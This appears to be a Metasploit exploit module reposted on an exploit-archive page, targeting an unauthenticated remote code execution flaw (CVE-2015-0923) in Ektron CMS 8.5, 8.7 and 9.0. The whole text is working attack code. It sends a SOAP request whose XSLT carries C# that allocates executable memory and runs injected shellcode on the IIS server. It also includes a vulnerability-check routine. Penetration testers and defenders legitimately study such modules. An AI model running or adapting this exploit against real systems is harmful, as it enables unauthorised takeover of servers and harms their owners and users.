Ektron 8.5 / 8.7 / 9.0 XSLT Transform Remote Code Execution
Posted on 04 March 2017
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution', 'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have vulnerabilities in various operations within the ServerControlWS.asmx web services. These vulnerabilities allow for RCE without authentication and execute in the context of IIS on the remote system. }, 'Author' => [ 'catatonicprime' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-0923' ], [ 'US-CERT-VU', '377644' ], [ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ] ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Privileged' => true, 'Targets' => [ ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 05 2015' )) register_options( [ OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]), OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']), OptEnum.new('TARGETOP', [ true, 'The vulnerable web service operation to exploit', 'ContentBlockEx', [ 'ContentBlockEx', 'GetBookmarkString', 'GetContentFlaggingString', 'GetContentRatingString', 'GetMessagingString' ] ]) ], self.class ) end def vulnerable_param return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx' 'xslt' end def required_params return '' if datastore['TARGETOP'] == 'ContentBlockEx' '<showmode/>' end def target_operation datastore['TARGETOP'] end def prologue <<-XSLT <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice"> #{required_params} <#{vulnerable_param}> <![CDATA[ <xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="C#" implements-prefix="user"> XSLT end def epilogue <<-XSLT </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml()"/> </xsl:template> </xsl:transform> ]]> </#{vulnerable_param}> </#{target_operation}> </soap:Body> </soap:Envelope> XSLT end def check fingerprint = rand_text_alpha(5 + rand(5)) xslt_data = <<-XSLT #{prologue} public string xml() { return "#{fingerprint}"; } #{epilogue} XSLT res = send_request_cgi( { 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx", 'version' => '1.1', 'method' => 'POST', 'ctype' => "text/xml; charset=UTF-8", 'headers' => { "Referer" => build_referer }, 'data' => xslt_data }) if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def uri_path uri_path = target_uri.path uri_path << "/" if uri_path[-1, 1] != "/" uri_path end def build_referer if datastore['SSL'] schema = "https://" else schema = "http://" end referer = schema referer << rhost referer << ":#{rport}" referer << uri_path referer end def exploit print_status("Generating the EXE Payload and the XSLT...") fingerprint = rand_text_alpha(5 + rand(5)) xslt_data = <<-XSLT #{prologue} private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [System.Runtime.InteropServices.DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); public string xml() { string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}"; byte[] shellcode = System.Convert.FromBase64String(shellcode64); UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); IntPtr hThread = IntPtr.Zero; IntPtr pinfo = IntPtr.Zero; UInt32 threadId = 0; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); return "#{fingerprint}"; } #{epilogue} XSLT print_status("Trying to run the xslt transformation...") res = send_request_cgi( { 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx", 'version' => '1.1', 'method' => 'POST', 'ctype' => "text/xml; charset=UTF-8", 'headers' => { "Referer" => build_referer }, 'data' => xslt_data }) if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ print_good("Exploitation was successful") else fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request") end end end